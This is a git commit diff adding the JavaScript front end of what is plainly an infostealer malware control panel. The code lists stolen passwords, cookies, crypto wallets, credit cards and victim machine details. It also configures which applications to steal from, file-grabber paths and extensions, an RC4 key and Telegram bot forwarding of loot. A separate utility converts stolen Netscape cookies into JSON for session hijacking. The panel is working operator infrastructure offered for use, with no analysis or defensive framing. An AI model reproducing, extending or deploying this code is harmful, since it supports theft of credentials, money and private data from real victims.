initial commit
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,56 @@
|
||||
/* Coded by [email protected] */
|
||||
|
||||
document.addEventListener('DOMContentLoaded', function() {
|
||||
// Init sidebar
|
||||
var elems = document.querySelectorAll('.sidenav');
|
||||
var instances = M.Sidenav.init(elems, {});
|
||||
// Init dropdowns
|
||||
var elems = document.querySelectorAll(".dropdown-trigger");
|
||||
var instances = M.Dropdown.init(elems, {"coverTrigger": false, "closeOnClick": false});
|
||||
});
|
||||
|
||||
// Run
|
||||
function RunConverter() {
|
||||
// Get elements
|
||||
var json_area = document.getElementById("json_cookies");
|
||||
var netscape_area = document.getElementById("netscape_cookies");
|
||||
var json = JSON.stringify(ConvertCookies(netscape_area.value));
|
||||
// Change values
|
||||
netscape_area.value = '';
|
||||
json_area.value = json;
|
||||
// Resize text areas
|
||||
M.textareaAutoResize(netscape_area)
|
||||
M.textareaAutoResize(json_area)
|
||||
}
|
||||
|
||||
// Convert Netscape cookies to Json format
|
||||
function ConvertCookies(netscape) {
|
||||
var cookies = [];
|
||||
var lines = netscape.split("\n");
|
||||
// iterate over lines
|
||||
lines.forEach(function(line, index){
|
||||
var tokens = line.split("\t");
|
||||
// we only care for valid cookie def lines
|
||||
if (tokens.length == 7) {
|
||||
var cookie = {};
|
||||
// trim the tokens
|
||||
tokens = tokens.map(function(e) { return e.trim(); });
|
||||
// Extract the data
|
||||
cookie.domain = tokens[0];
|
||||
cookie.flag = tokens[1] === "TRUE";
|
||||
cookie.path = tokens[2];
|
||||
cookie.secure = tokens[3] === "TRUE";
|
||||
// Convert date to a readable format
|
||||
var timestamp = tokens[4];
|
||||
if (timestamp.length == 17){
|
||||
timestamp = Math.floor(timestamp / 1000000 - 11644473600);
|
||||
}
|
||||
cookie.expiration = timestamp;
|
||||
cookie.name = tokens[5];
|
||||
cookie.value = tokens[6];
|
||||
// Save the cookie.
|
||||
cookies.push(cookie);
|
||||
}
|
||||
});
|
||||
return cookies;
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
/* Coded by [email protected] */
|
||||
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
// Init tooltips
|
||||
var elems = document.querySelectorAll(".tooltipped");
|
||||
var instances = M.Tooltip.init(elems, {});
|
||||
// Init sidebar
|
||||
var elems = document.querySelectorAll(".sidenav");
|
||||
var instances = M.Sidenav.init(elems, {});
|
||||
// Init modals
|
||||
var elems = document.querySelectorAll(".modal");
|
||||
var instances = M.Modal.init(elems);
|
||||
// Init selects
|
||||
var elems = document.querySelectorAll('select');
|
||||
var instances = M.FormSelect.init(elems, {});
|
||||
// Init dropdowns
|
||||
var elems = document.querySelectorAll(".dropdown-trigger");
|
||||
var instances = M.Dropdown.init(elems, {"coverTrigger": false, "closeOnClick": false});
|
||||
// Send welcome toast on login and if page is not refreshed
|
||||
if (window.location.search.includes("welcome") &&
|
||||
performance.navigation.type != performance.navigation.TYPE_RELOAD) {
|
||||
M.toast({html: `Welcome back ${username}!`});
|
||||
}
|
||||
});
|
||||
|
||||
// Sort table
|
||||
function SortTable(option) {
|
||||
let reverse = document.getElementById("sort_reverse").checked ? 1 : 0;
|
||||
location.href = `?sort_option=${option}&reverse=${reverse}`;
|
||||
}
|
||||
|
||||
// Search
|
||||
function SearchDomains() {
|
||||
let entry = document.getElementById("search_input");
|
||||
location.href = "?search_domains=" + entry.value;
|
||||
}
|
||||
|
||||
// Change report comment
|
||||
function CommentReport(id) {
|
||||
let entry = document.getElementById("COMMENT_INPUT_" + id);
|
||||
// Invalid comment value
|
||||
if (entry.value.match(/^\s+$/) !== null || entry.value === "") {
|
||||
M.toast({html: "Invalid comment"});
|
||||
return false;
|
||||
}
|
||||
// Create API request
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", "api/com_report?id=" + id + "&text=" + entry.value, false);
|
||||
xhr.send();
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
M.toast({html: xhr.status + ": " + xhr.statusText});
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response = JSON.parse(xhr.responseText);
|
||||
M.toast({html: response["message"]});
|
||||
return true;
|
||||
}
|
||||
|
||||
// Preview report function
|
||||
function PreviewReport(id, obj) {
|
||||
// Set preview value
|
||||
function SetValue(id, text) {
|
||||
document.getElementById("preview_" + id).innerHTML = text;
|
||||
}
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", "api/get_reports?id=" + id, false);
|
||||
xhr.send();
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
swal(xhr.status, xhr.statusText, "error");
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let json = JSON.parse(xhr.responseText)[0];
|
||||
|
||||
// Counter values
|
||||
SetValue("counter_wallets", "Wallets count: " + json["counter"]["wallets"]);
|
||||
SetValue("counter_passwords", "Passwords count: " + json["counter"]["passwords"]);
|
||||
SetValue("counter_cookies", "Cookies count: " + json["counter"]["cookies"]);
|
||||
SetValue("counter_credit_cards", "Credit cards count: " + json["counter"]["credit_cards"]);
|
||||
SetValue("counter_autofill", "Autofill count: " + json["counter"]["autofill"]);
|
||||
SetValue("counter_history", "History count: " + json["counter"]["history"]);
|
||||
SetValue("counter_grabber", "Files count: " + json["counter"]["grabber"]);
|
||||
|
||||
// Hardware
|
||||
SetValue("info_screen", "Screen resolution: " + json["information"]["hardware"]["screen"]);
|
||||
SetValue("info_ram", "Ram amount: " + json["information"]["hardware"]["ram"] + " MB");
|
||||
SetValue("info_cpu_name", "Processor name: " + json["information"]["hardware"]["cpu_name"]);
|
||||
SetValue("info_cpu_id", "Processor ID: " + json["information"]["hardware"]["cpu_id"]);
|
||||
SetValue("info_gpu_name", "Video adapter name: " + json["information"]["hardware"]["gpu_name"]);
|
||||
SetValue("info_disk_id", "HDD serial: " + json["information"]["hardware"]["disk_id"]);
|
||||
SetValue("info_manufacturer", "Manufacturer: " + json["information"]["hardware"]["manufacturer"]);
|
||||
// Network
|
||||
SetValue("info_local_ip", "Local IP: " + json["information"]["network"]["local_ip"]);
|
||||
SetValue("info_public_ip", "Public IP: " + json["geo"]["ip_address"]);
|
||||
SetValue("info_gateway_ip", "Gateway IP: " + json["information"]["network"]["gateway_ip"]);
|
||||
SetValue("info_bssid", "BSSID: " + json["information"]["network"]["bssid"]);
|
||||
// Power
|
||||
SetValue("info_power_adapter", "AC adapter connected: " + json["information"]["power"]["adapter_connected"]);
|
||||
SetValue("info_battery_percentage", "Battery percentage: " + json["information"]["power"]["battery_percentage"] + "%");
|
||||
// Os info
|
||||
SetValue("info_os_name", "Operating system: " + json["information"]["os"]["name"]);
|
||||
SetValue("info_os_username", "Username: " + json["information"]["os"]["username"]);
|
||||
SetValue("info_os_machinename", "Compname: " + json["information"]["os"]["compname"]);
|
||||
|
||||
// Domains info
|
||||
let c_area = document.getElementById("preview_cookies_list");
|
||||
let p_area = document.getElementById("preview_passwords_list");
|
||||
// Set values in text areas
|
||||
c_area.innerHTML = json["cookies"];
|
||||
p_area.innerHTML = json["passwords"];
|
||||
// Resize text areas
|
||||
M.textareaAutoResize(c_area)
|
||||
M.textareaAutoResize(p_area)
|
||||
|
||||
// Add actions to buttons
|
||||
document.getElementById("preview_delete_button").onclick = function() { DeleteReport(json["id"], obj); }
|
||||
document.getElementById("preview_download_button").href = "/api/get_report?id=" + json["id"];
|
||||
|
||||
// Open modal
|
||||
var instance = M.Modal.getInstance(document.querySelectorAll('#modal_preview')[0])
|
||||
instance.open();
|
||||
}
|
||||
|
||||
// Delete report function
|
||||
function DeleteReport(id, obj) {
|
||||
swal({
|
||||
title: "Are you sure?",
|
||||
text: "Once deleted, you will not be able to recover report!",
|
||||
icon: "warning",
|
||||
buttons: true,
|
||||
dangerMode: true,
|
||||
})
|
||||
.then((willDelete) => {
|
||||
if (willDelete) {
|
||||
// Create API request
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", "api/del_report?id=" + id, false);
|
||||
xhr.send();
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
swal(xhr.status, xhr.statusText, "error");
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response = JSON.parse(xhr.responseText);
|
||||
// Hide report from table
|
||||
if (response["error"] === false) {
|
||||
obj.parentElement.parentElement.remove();
|
||||
}
|
||||
// Show alert
|
||||
swal(response["message"], {
|
||||
icon: response["error"] ? "error" : "success",
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
Vendored
+2
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,42 @@
|
||||
/* Coded by [email protected] */
|
||||
|
||||
function Login() {
|
||||
// Get data from form
|
||||
let username = document.getElementById("username_input").value;
|
||||
let password = document.getElementById("password_input").value;
|
||||
// Create request
|
||||
let xhr = new XMLHttpRequest();
|
||||
let formData = new FormData();
|
||||
formData.append("username", username)
|
||||
formData.append("password", password)
|
||||
// Send request
|
||||
xhr.open("POST", "api/login", false);
|
||||
xhr.send(formData);
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
swal(xhr.status, xhr.statusText, "error");
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response = JSON.parse(xhr.responseText);
|
||||
let icon = response["error"] ? "error" : "success";
|
||||
// Show server response
|
||||
swal("Server", response["message"], icon);
|
||||
// Redirect to dashboard
|
||||
if (response["error"] === false) {
|
||||
setTimeout(() =>
|
||||
location.href = "/dashboard?welcome",
|
||||
1500
|
||||
);
|
||||
}
|
||||
// Done
|
||||
return !response["error"];
|
||||
}
|
||||
|
||||
// Trigger login button when 'ENTER' key is pressed
|
||||
document.addEventListener("keyup", function(event) {
|
||||
if (event.keyCode === 13) {
|
||||
event.preventDefault();
|
||||
Login();
|
||||
}
|
||||
});
|
||||
Vendored
+6
File diff suppressed because one or more lines are too long
@@ -0,0 +1,228 @@
|
||||
/* Coded by [email protected] */
|
||||
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
// Init sidebar
|
||||
var elems = document.querySelectorAll(".sidenav");
|
||||
var instances = M.Sidenav.init(elems, {});
|
||||
// Init tooltips
|
||||
var elems = document.querySelectorAll(".tooltipped");
|
||||
var instances = M.Tooltip.init(elems, {});
|
||||
// Init dropdowns
|
||||
var elems = document.querySelectorAll(".dropdown-trigger");
|
||||
var instances = M.Dropdown.init(elems, {"coverTrigger": false, "closeOnClick": false});
|
||||
// Init selects
|
||||
var elems = document.querySelectorAll("select");
|
||||
var instances = M.FormSelect.init(elems, {});
|
||||
});
|
||||
|
||||
|
||||
// Change password
|
||||
function ChangePassword() {
|
||||
let current_password = document.getElementById("curr_pwd_input").value;
|
||||
let new_password_1 = document.getElementById("new_pwd_input1").value;
|
||||
let new_password_2 = document.getElementById("new_pwd_input2").value;
|
||||
|
||||
// Password is too weak
|
||||
if (current_password.length < 1 || new_password_1.length < 2 || new_password_2 < 2) {
|
||||
M.toast({html: "Password is too weak"});
|
||||
return false;
|
||||
}
|
||||
// Passwords do not match
|
||||
if (new_password_1 != new_password_2) {
|
||||
M.toast({html: "Passwords do not match"});
|
||||
return false;
|
||||
}
|
||||
// Create request
|
||||
let xhr = new XMLHttpRequest();
|
||||
let formData = new FormData();
|
||||
formData.append("old_password", current_password)
|
||||
formData.append("new_password", new_password_2)
|
||||
// Send request
|
||||
xhr.open("POST", "api/change_password", false);
|
||||
xhr.send(formData);
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
M.toast({html: xhr.status + ": " + xhr.statusText});
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response = JSON.parse(xhr.responseText);
|
||||
M.toast({html: response["message"]});
|
||||
// Redirect to login page
|
||||
if (response["error"] === false) {
|
||||
setTimeout(() =>
|
||||
location.href = "/login",
|
||||
1500
|
||||
);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
// Change encryption key
|
||||
function ChangeEncrypionKey() {
|
||||
// Get key
|
||||
let rc4_key = document.getElementById("curr_encr_key_input").value;
|
||||
// Create request
|
||||
let xhr = new XMLHttpRequest();
|
||||
let formData = new FormData();
|
||||
formData.append("rc4_key", rc4_key)
|
||||
// Send request
|
||||
xhr.open("POST", "api/change_encryption_key", false);
|
||||
xhr.send(formData);
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
M.toast({html: xhr.status + ": " + xhr.statusText});
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response = JSON.parse(xhr.responseText);
|
||||
M.toast({html: response["message"]});
|
||||
}
|
||||
|
||||
|
||||
// Set telegram bot token and id
|
||||
function SetTelegramBot() {
|
||||
// Get values
|
||||
let token = document.getElementById("telegram_token_input").value;
|
||||
let ids = JSON.stringify(document.getElementById("telegram_ids_input").value.split(', '));
|
||||
// Send request
|
||||
let xhr1 = new XMLHttpRequest();
|
||||
xhr1.open("GET", `https://api.telegram.org/bot${token}/getMe`, false);
|
||||
xhr1.send();
|
||||
// Handle server error
|
||||
if (xhr1.status !== 200) {
|
||||
M.toast({html: xhr1.status + ": " + xhr1.statusText});
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response1 = JSON.parse(xhr1.responseText);
|
||||
if (response1["ok"] === false) {
|
||||
M.toast({html: response1["Unauthorized"]});
|
||||
return false;
|
||||
}
|
||||
// Print telegram bot name
|
||||
M.toast({html: "Bot @" + response1["result"]["username"] + " connected successfully..."});
|
||||
// Save credentials on server
|
||||
let xhr2 = new XMLHttpRequest();
|
||||
xhr2.open("GET", `api/set_telegram_credentials?token=${token}&json_list=${ids}`, false);
|
||||
xhr2.send();
|
||||
// Handle server error
|
||||
if (xhr2.status !== 200) {
|
||||
M.toast({html: xhr2.status + ": " + xhr2.statusText});
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response2 = JSON.parse(xhr2.responseText);
|
||||
M.toast({html: response2["message"]});
|
||||
return true;
|
||||
}
|
||||
|
||||
// Unlink telegram bot
|
||||
function DelTelegramBot() {
|
||||
// Save credentials on server
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", "api/set_telegram_credentials?token=&json_list=[]", false);
|
||||
xhr.send();
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
M.toast({html: xhr.status + ": " + xhr.statusText});
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response = JSON.parse(xhr.responseText);
|
||||
if (response["error"] === false) {
|
||||
M.toast({html: "Token removed"});
|
||||
return true;
|
||||
}
|
||||
// Errors
|
||||
M.toast({html: response["message"]});
|
||||
return false;
|
||||
}
|
||||
|
||||
// Save apps list to steal
|
||||
function SaveStealingData() {
|
||||
// Get data
|
||||
let selectElement = document.getElementById("toggle_stealing_options");
|
||||
let selectedValues = JSON.stringify(
|
||||
Array.from(selectElement.selectedOptions)
|
||||
.map(option => option.value));
|
||||
// Create request
|
||||
let xhr = new XMLHttpRequest();
|
||||
// Send request
|
||||
xhr.open("GET", "api/set_apps_collection_configuration?json_list=" + selectedValues, false);
|
||||
xhr.send();
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
M.toast({html: xhr.status + ": " + xhr.statusText});
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response = JSON.parse(xhr.responseText);
|
||||
M.toast({html: response["message"]});
|
||||
}
|
||||
|
||||
// Add grabber path
|
||||
function AddGrabberPath() {
|
||||
let entry = document.getElementById("path_input");
|
||||
// Create API request
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", "api/new_grabber_path?b64_value=" + btoa(entry.value), false);
|
||||
xhr.send();
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
M.toast({html: xhr.status + ": " + xhr.statusText});
|
||||
return false;
|
||||
}
|
||||
// Clear
|
||||
entry.value = "";
|
||||
// Parse server response
|
||||
let response = JSON.parse(xhr.responseText);
|
||||
// Show response
|
||||
M.toast({html: response["message"]});
|
||||
return true;
|
||||
}
|
||||
|
||||
// Delete report function
|
||||
function DeleteGrabberPath(value, obj) {
|
||||
// Create API request
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", "api/del_grabber_path?b64_value=" + btoa(value), false);
|
||||
xhr.send();
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
M.toast({html: xhr.status + ": " + xhr.statusText});
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response = JSON.parse(xhr.responseText);
|
||||
// Hide report from table
|
||||
if (response["error"] === false) {
|
||||
obj.parentElement.parentElement.remove();
|
||||
}
|
||||
// Show response
|
||||
M.toast({html: response["message"]});
|
||||
return true;
|
||||
}
|
||||
|
||||
// Set grabber extensions
|
||||
function SetExtensions() {
|
||||
let json = JSON.stringify(document.getElementById("extensions_area").value.split(", "));
|
||||
let size = document.getElementById("size_input").value;
|
||||
// Create API request
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", `api/set_grabber_extensions?json_list=${json}&size=${size}`, false);
|
||||
xhr.send();
|
||||
// Handle server error
|
||||
if (xhr.status !== 200) {
|
||||
M.toast({html: xhr.status + ": " + xhr.statusText});
|
||||
return false;
|
||||
}
|
||||
// Parse server response
|
||||
let response = JSON.parse(xhr.responseText);
|
||||
// Show response
|
||||
M.toast({html: response["message"]});
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
/* Coded by [email protected] */
|
||||
|
||||
$(document).ready(function() {
|
||||
// Init dropdowns
|
||||
var elems = document.querySelectorAll(".dropdown-trigger");
|
||||
var instances = M.Dropdown.init(elems, {"coverTrigger": false, "closeOnClick": false});
|
||||
|
||||
// Get GDP data from table
|
||||
let gdpData = {};
|
||||
var table = document.getElementById("stats_table");
|
||||
for (var i = 0, row; row = table.rows[i]; i++) {
|
||||
var iso = row.cells[1].innerHTML;
|
||||
var count = row.cells[3].innerHTML;
|
||||
if (iso.length == 2) {
|
||||
gdpData[iso] = count;
|
||||
}
|
||||
}
|
||||
// Init map
|
||||
$("#world-map").vectorMap({
|
||||
map: "world_mill",
|
||||
series: {
|
||||
regions: [{
|
||||
values: gdpData,
|
||||
scale: ["#ffc8d3", "#ff7c96"],
|
||||
normalizeFunction: "polynomial"
|
||||
}]},
|
||||
onRegionTipShow: function(e, el, code) {
|
||||
if (gdpData[code] == undefined) {
|
||||
gdpData[code] = 0
|
||||
}
|
||||
el.html(el.html() + " (Reports counts : " + gdpData[code] + ")");
|
||||
}
|
||||
});
|
||||
|
||||
// Init navbar
|
||||
$(".sidenav").sidenav();
|
||||
});
|
||||
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user